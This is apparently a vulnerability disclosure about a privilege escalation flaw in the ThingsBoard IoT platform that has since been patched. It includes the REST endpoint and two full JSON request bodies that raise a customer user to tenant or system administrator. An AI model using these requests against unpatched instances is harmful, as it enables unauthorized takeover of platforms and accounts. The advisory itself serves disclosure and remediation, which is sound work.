On December 2022, a vulnerability on the ThingsBoard IoT platform was discovered, where a normal user’s privileges can be escalated, by doing a simple post with an additional header, and exploiting the associated flaws, to take control over the entire platform and related accounts. Upon reporting of the vulnerability to the vendor, it was quickly resolved. While the communication has been largely monodirectional, the time to resolution and patch was swift. It is always a pleasure to see a development team taking user security so seriously.
In the latest version of the product, the vulnerability has been remediated. We strongly urge users of the platform to upgrade to the latest version. This is of extra importance for anyone who does not have control of all end users, as an initial access is needed to obtain the increased permissions.
The ThingsBoard IoT platform was affected by a vertical privilege escalation vulnerability.
A low privileged user (CUSTOMER_USER) was able to escalate his privileges (vertically) and become Administrator (TENANT_ADMIN) or system administrator (SYS_ADMIN) on the web application using a simple POST request with the platform’s REST API.
In order to exploit the vulnerability, the attacker would need to know the corresponding API's parameter (“authority”:“value”)
and default user UUIDs, which can be easily identified from ThingsBoard’s official GitHub repository.
Through our test on the latest version of the platform, we have reason to believe that all customers are affected.
To verify the vulnerability, these steps were taken by our security researcher:
https://<thingsboardinstance>/api/user?sendActivationMail=false
{
"id":
{
"entityType": "USER",
"id": "XXXXXXXXX"
},
"createdTime": 0,
"additionalInfo":
{
"lastLoginTs": 1668422898320,
"failedLoginAttempts": 0,
"userCredentialsEnabled": true,
"lang": "en_US",
"homeDashboardHideToolbar": false
},
"tenantId":
{
"entityType": "TENANT",
"id": "XXXXXXXXXX"
},
"email": [email protected], "authority": "TENANT_ADMIN", "firstName": "Winston", "lastName": null,
"name": [email protected],
"language": "en_US",
"homeDashboardHideToolbar": false
}
https://<thingsboardinstance>/api/user?sendActivationMail=false
{
"id":
{
"entityType": "USER",
"id": "XXXXXXXXX"
},
"createdTime": 0,
"additionalInfo":
{
"description": "",
"defaultDashboardId": null,
"defaultDashboardFullscreen": false,
"homeDashboardId": null,
"homeDashboardHideToolbar": false,
"userCredentialsEnabled": true,
"failedLoginAttempts": 0,
"lang": "en_US"
},
"tenantId":
{
"entityType": "TENANT",
"id": "13814000-1dd2-11b2-8080-808080808080"
},
"email": [email protected], "authority": "SYS_ADMIN", "firstName": "John", "lastName": "Wick",
"name": [email protected],
"language": "en_US",
"homeDashboardId": null,
"homeDashboardHideToolbar": false
}
In following screenshots, you can see how the low-level user is able to access admin resources.
Here’s the low-level user and his original ID and token:
Here’s the information that the low-level user can access:
Here is what it looks like after the user escalates permissions to Tenant Admin:
To remediate this vulnerability, update to the latest version of the ThingsBoard IoT platform.